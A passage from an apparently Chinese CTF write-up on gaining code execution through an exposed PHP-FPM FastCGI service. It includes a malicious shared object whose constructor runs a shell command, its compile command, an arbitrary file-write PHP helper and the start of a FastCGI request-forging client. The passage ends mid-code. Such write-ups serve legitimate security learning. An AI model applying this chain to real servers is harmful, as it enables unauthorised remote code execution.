  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/7662b2/one_pointer_php_6.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1907" height="677"
/>
</p>
<p>在输出中我们可以看到<code>extension=easy_bypass.so</code>，这是加载了异常so文件，看其他wp说是可以pwn的，我目前pwn没学多少还是算了。再读取nginx.conf文件看看<img
  src="/7662b2/one_pointer_php_7.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1908" height="673"
/>
</p>
<p>在这里看到了<code>include /etc/nginx/sites-enabled/*;</code>，那直接去读nginx的默认配置<img
  src="/7662b2/one_pointer_php_8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1907" height="689"
/>
</p>
<p>居然开着FastCGI服务，那基本可以确定是未授权打FPM RCE了</p>
<h4 id="4加载恶意so文件">4、加载恶意so文件<a class="anchor" href="#4加载恶意so文件">#</a></h4>
<p>编写so拓展</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="cp">#define _GNU_SOURCE
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nf">__attribute__</span> <span class="p">((</span><span class="n">__constructor__</span><span class="p">))</span> <span class="kt">void</span> <span class="nf">preload</span> <span class="p">(</span><span class="kt">void</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="s">&#34;ls / &gt;/var/www/html/look&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这个语句是将<code>ls /</code>结果输出到look文件</p>
<p>编译：<code>gcc evilso.c -fPIC -shared -o evilso.so</code>，使用Linux编译并上传至站点目录</p>
<h4 id="5编写文件处理">5、编写文件处理<a class="anchor" href="#5编写文件处理">#</a></h4>
<p>再写一个接收文件的php文件，这个文件用于接收恶意的fastcdi请求文件并写回主机，这里涉及到fastcgi的攻击原理，有时间再说。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="nv">$file</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;file&#39;</span><span class="p">]</span> <span class="o">??</span> <span class="s1">&#39;/tmp/file&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="nv">$data</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;data&#39;</span><span class="p">]</span> <span class="o">??</span> <span class="s1">&#39;:)&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="k">echo</span><span class="p">(</span><span class="nv">$file</span><span class="o">.</span><span class="s2">&#34;&lt;/br&gt;&#34;</span><span class="o">.</span><span class="nv">$data</span><span class="o">.</span><span class="s2">&#34;&lt;/br&gt;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">    <span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_put_contents</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nv">$data</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h4 id="6伪造恶意fastcgi请求">6、伪造恶意FastCGI请求<a class="anchor" href="#6伪造恶意fastcgi请求">#</a></h4>
<p>网上亘古不变的伪造请求的代码，修改几个配置、路径就好</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">  1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="sd">/**
</span></span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="sd"> * Note : Code is released under the GNU LGPL
</span></span></span><span class="line"><span class="ln">  4</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="sd"> * Please do not change the header of this file
</span></span></span><span class="line"><span class="ln">  6</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="sd"> * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
</span></span></span><span class="line"><span class="ln">  8</span><span class="cl"><span class="sd"> * Lesser General Public License as published by the Free Software Foundation; either version 2 of
</span></span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="sd"> * the License, or (at your option) any later version.
</span></span></span><span class="line"><span class="ln"> 10</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln"> 11</span><span class="cl"><span class="sd"> * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
</span></span></span><span class="line"><span class="ln"> 12</span><span class="cl"><span class="sd"> * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
</span></span></span><span class="line"><span class="ln"> 13</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln"> 14</span><span class="cl"><span class="sd"> * See the GNU Lesser General Public License for more details.
</span></span></span><span class="line"><span class="ln"> 15</span><span class="cl"><span class="sd"> */</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl"><span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 17</span><span class="cl"><span class="sd"> * Handles communication with a FastCGI application
</span></span></span><span class="line"><span class="ln"> 18</span><span class="cl"><span class="sd"> *
</span></span></span><span class="line"><span class="ln"> 19</span><span class="cl"><span class="sd"> * @author      Pierrick Charron &lt;pierrick@webstart.fr&gt;
</span></span></span><span class="line"><span class="ln"> 20</span><span class="cl"><span class="sd"> * @version     1.0
</span></span></span><span class="line"><span class="ln"> 21</span><span class="cl"><span class="sd"> */</span>
</span></span><span class="line"><span class="ln"> 22</span><span class="cl"><span class="k">class</span> <span class="nc">FCGIClient</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">    <span class="k">const</span> <span class="no">VERSION_1</span>            <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">    <span class="k">const</span> <span class="no">BEGIN_REQUEST</span>        <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">    <span class="k">const</span> <span class="no">ABORT_REQUEST</span>        <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">    <span class="k">const</span> <span class="no">END_REQUEST</span>          <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">    <span class="k">const</span> <span class="no">PARAMS</span>               <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">    <span class="k">const</span> <span class="no">STDIN</span>                <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">    <span class="k">const</span> <span class="no">STDOUT</span>               <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">    <span class="k">const</span> <span class="no">STDERR</span>               <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">    <span class="k">const</span> <span class="no">DATA</span>                 <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">    <span class="k">const</span> <span class="no">GET_VALUES</span>           <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">    <span class="k">const</span> <span class="no">GET_VALUES_RESULT</span>    <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">    <span class="k">const</span> <span class="no">UNKNOWN_TYPE</span>         <span class="o">=</span> <span class="mi">11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">    <span class="k">const</span> <span class="no">MAXTYPE</span>              <span class="o">=</span> <span class="nx">self</span><span class="o">::</span><span class="na">UNKNOWN_TYPE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">    <span class="k">const</span> <span class="no">RESPONDER</span>            <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">    <span class="k">const</span> <span class="no">AUTHORIZER</span>           <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">    <span class="k">const</span> <span class="no">FILTER</span>               <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">    <span class="k">const</span> <span class="no">REQUEST_COMPLETE</span>     <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">    <span class="k">const</span> <span class="no">CANT_MPX_CONN</span>        <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">    <span class="k">const</span> <span class="no">OVERLOADED</span>           <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">    <span class="k">const</span> <span class="no">UNKNOWN_ROLE</span>         <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">    <span class="k">const</span> <span class="no">MAX_CONNS</span>            <span class="o">=</span> <span class="s1">&#39;MAX_CONNS&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">    <span class="k">const</span> <span class="no">MAX_REQS</span>             <span class="o">=</span> <span class="s1">&#39;MAX_REQS&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">    <span class="k">const</span> <span class="no">MPXS_CONNS</span>           <span class="o">=</span> <span class="s1">&#39;MPXS_CONNS&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">    <span class="k">const</span> <span class="no">HEADER_LEN</span>           <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 49</span><span class="cl"><span class="sd">     * Socket
</span></span></span><span class="line"><span class="ln"> 50</span><span class="cl"><span class="sd">     * @var Resource
</span></span></span><span class="line"><span class="ln"> 51</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">    <span class="k">private</span> <span class="nv">$_sock</span> <span class="o">=</span> <span class="k">null</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 54</span><span class="cl"><span class="sd">     * Host
</span></span></span><span class="line"><span class="ln"> 55</span><span class="cl"><span class="sd">     * @var String
</span></span></span><span class="line"><span class="ln"> 56</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">    <span class="k">private</span> <span class="nv">$_host</span> <span class="o">=</span> <span class="k">null</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 59</span><span class="cl"><span class="sd">     * Port
</span></span></span><span class="line"><span class="ln"> 60</span><span class="cl"><span class="sd">     * @var Integer
</span></span></span><span class="line"><span class="ln"> 61</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">    <span class="k">private</span> <span class="nv">$_port</span> <span class="o">=</span> <span class="k">null</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 64</span><span class="cl"><span class="sd">     * Keep Alive
</span></span></span><span class="line"><span class="ln"> 65</span><span class="cl"><span class="sd">     * @var Boolean
</span></span></span><span class="line"><span class="ln"> 66</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">    <span class="k">private</span> <span class="nv">$_keepAlive</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 69</span><span class="cl"><span class="sd">     * Constructor
</span></span></span><span class="line"><span class="ln"> 70</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln"> 71</span><span class="cl"><span class="sd">     * @param String $host Host of the FastCGI application
</span></span></span><span class="line"><span class="ln"> 72</span><span class="cl"><span class="sd">     * @param Integer $port Port of the FastCGI application
</span></span></span><span class="line"><span class="ln"> 73</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$host</span><span class="p">,</span> <span class="nv">$port</span> <span class="o">=</span> <span class="mi">9001</span><span class="p">)</span> <span class="c1">// and default value for port, just for unixdomain socket
</span></span></span><span class="line"><span class="ln"> 75</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_host</span> <span class="o">=</span> <span class="nv">$host</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_port</span> <span class="o">=</span> <span class="nv">$port</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 80</span><span class="cl"><span class="sd">     * Define whether or not the FastCGI application should keep the connection
</span></span></span><span class="line"><span class="ln"> 81</span><span class="cl"><span class="sd">     * alive at the end of a request
</span></span></span><span class="line"><span class="ln"> 82</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln"> 83</span><span class="cl"><span class="sd">     * @param Boolean $b true if the connection should stay alive, false otherwise
</span></span></span><span class="line"><span class="ln"> 84</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">setKeepAlive</span><span class="p">(</span><span class="nv">$b</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_keepAlive</span> <span class="o">=</span> <span class="p">(</span><span class="nx">boolean</span><span class="p">)</span><span class="nv">$b</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_keepAlive</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">            <span class="nx">fclose</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln"> 93</span><span class="cl"><span class="sd">     * Get the keep alive status
</span></span></span><span class="line"><span class="ln"> 94</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln"> 95</span><span class="cl"><span class="sd">     * @return Boolean true if the connection should stay alive, false otherwise
</span></span></span><span class="line"><span class="ln"> 96</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">getKeepAlive</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">        <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_keepAlive</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">102</span><span class="cl"><span class="sd">     * Create a connection to the FastCGI application
</span></span></span><span class="line"><span class="ln">103</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">connect</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">106</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">107</span><span class="cl">            <span class="c1">//$this-&gt;_sock = fsockopen($this-&gt;_host, $this-&gt;_port, $errno, $errstr, 5);
</span></span></span><span class="line"><span class="ln">108</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span> <span class="o">=</span> <span class="nx">stream_socket_client</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_host</span><span class="p">,</span> <span class="nv">$errno</span><span class="p">,</span> <span class="nv">$errstr</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">                <span class="k">throw</span> <span class="k">new</span> <span class="nx">Exception</span><span class="p">(</span><span class="s1">&#39;Unable to connect to FastCGI application&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">115</span><span class="cl"><span class="sd">     * Build a FastCGI packet
</span></span></span><span class="line"><span class="ln">116</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">117</span><span class="cl"><span class="sd">     * @param Integer $type Type of the packet
</span></span></span><span class="line"><span class="ln">118</span><span class="cl"><span class="sd">     * @param String $content Content of the packet
</span></span></span><span class="line"><span class="ln">119</span><span class="cl"><span class="sd">     * @param Integer $requestId RequestId
</span></span></span><span class="line"><span class="ln">120</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">buildPacket</span><span class="p">(</span><span class="nv">$type</span><span class="p">,</span> <span class="nv">$content</span><span class="p">,</span> <span class="nv">$requestId</span> <span class="o">=</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">        <span class="nv">$clen</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$content</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">        <span class="k">return</span> <span class="nx">chr</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">VERSION_1</span><span class="p">)</span>         <span class="cm">/* version */</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$type</span><span class="p">)</span>                    <span class="cm">/* type */</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$requestId</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="cm">/* requestIdB1 */</span>
